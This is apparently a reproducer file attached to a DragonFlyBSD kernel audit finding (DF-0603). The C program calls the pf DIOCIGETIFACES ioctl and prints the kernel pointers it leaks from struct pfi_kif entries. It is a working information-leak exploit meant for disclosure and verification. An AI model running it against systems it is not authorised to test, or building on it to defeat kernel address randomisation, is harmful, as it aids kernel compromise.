DragonFlyBSD Kernel Audit
DF-0603 / pfleak.c
← back to finding ↓ download raw
/*
 * DF-0603 — DIOCIGETIFACES kernel pointer leak reproducer.
 *
 * Issues DIOCIGETIFACES with pfiio_esize = sizeof(struct pfi_kif) and
 * dumps the returned struct(s), highlighting the raw kernel pointer
 * fields that pfi_get_ifaces() copyout()s verbatim from the in-kernel
 * RB tree:
 *   - pfik_tree.{rbe_left,rbe_right,rbe_parent}   (RB_ENTRY)
 *   - pfik_ifp                                    (struct ifnet *)
 *   - pfik_group                                  (struct ifg_group *)
 *   - pfik_dynaddrs.{tqh_first,tqh_last}          (TAILQ_HEAD)
 *
 * Build: cc -o pfleak pfleak.c
 * Run  : ./pfleak     (must be able to open /dev/pf -> root or jail w/ pf)
 */

#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <net/pf/pfvar.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* PF module must be loaded: /dev/pf appears only after `kldload pf.ko`.
 * The verifier runs `kldload pf.ko` as root before this binary. */

int
main(int argc, char **argv)
{
    int fd, n, i;
    struct pfioc_iface io;
    struct pfi_kif *kifs;
    size_t sz;
    long pagesz;

    /* How many kifs to ask for. Ask for plenty (one shot, big buffer). */
    n = (argc > 1) ? atoi(argv[1]) : 64;

    fd = open("/dev/pf", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "open /dev/pf: %s\n", strerror(errno));
        fprintf(stderr, "(is pf.ko loaded?  run: kldload pf.ko)\n");
        return 1;
    }

    /* First pass: ask for n entries with a zeroed buffer; the kernel
     * stores the total count into io.pfiio_size. */
    memset(&io, 0, sizeof(io));
    io.pfiio_esize = sizeof(struct pfi_kif);
    io.pfiio_size  = n;

    sz = (size_t)n * sizeof(struct pfi_kif);
    kifs = calloc(n, sizeof(struct pfi_kif));
    if (!kifs) { perror("calloc"); return 2; }
    io.pfiio_buffer = kifs;

    if (ioctl(fd, DIOCIGETIFACES, &io) != 0) {
        fprintf(stderr, "ioctl DIOCIGETIFACES: %s\n", strerror(errno));
        free(kifs);
        return 3;
    }

    /* io.pfiio_size now = number of kifs the kernel actually copied
     * (clamped to our request). */
    int returned = io.pfiio_size;
    printf("DIOCIGETIFACES returned %d kif(s); sizeof(struct pfi_kif)=%zu\n",
           returned, sizeof(struct pfi_kif));

    /* Dump every kif: identify pointer-shaped qwords by scanning for
     * the canonical x86_64 kernel address pattern. */
    int total_leaked = 0;
    for (i = 0; i < returned; i++) {
        struct pfi_kif *k = &kifs[i];
        char name[IFNAMSIZ + 1];
        memcpy(name, k->pfik_name, IFNAMSIZ);
        name[IFNAMSIZ] = 0;

        printf("\n=== kif[%d] name=\"%s\" flags=0x%x tzero=%u states=%d rules=%d ===\n",
               i, name, k->pfik_flags, k->pfik_tzero, k->pfik_states, k->pfik_rules);

        /* Pointer fields. Treat the struct as a flat array of 8-byte words
         * and print any qword that looks like a kernel address. */
        unsigned long *w = (unsigned long *)k;
        size_t nw = sizeof(struct pfi_kif) / sizeof(unsigned long);
        size_t j;
        for (j = 0; j < nw; j++) {
            unsigned long v = w[j];
            /* canonical kernel address on x86_64 dragonfly: top bits set */
            if ((v & 0xffff000000000000UL) == 0xffff000000000000UL && v != 0) {
                int off = (int)(j * sizeof(unsigned long));
                printf("  offset %3d (0x%03x): 0x%016lx  <-- KERNEL POINTER\n",
                       off, off, v);
                total_leaked++;
            }
        }
    }

    printf("\n==== SUMMARY: %d kernel-pointer-shaped qwords leaked across %d kif(s) ====\n",
           total_leaked, returned);

    close(fd);
    free(kifs);
    return (total_leaked > 0) ? 0 : 4;
}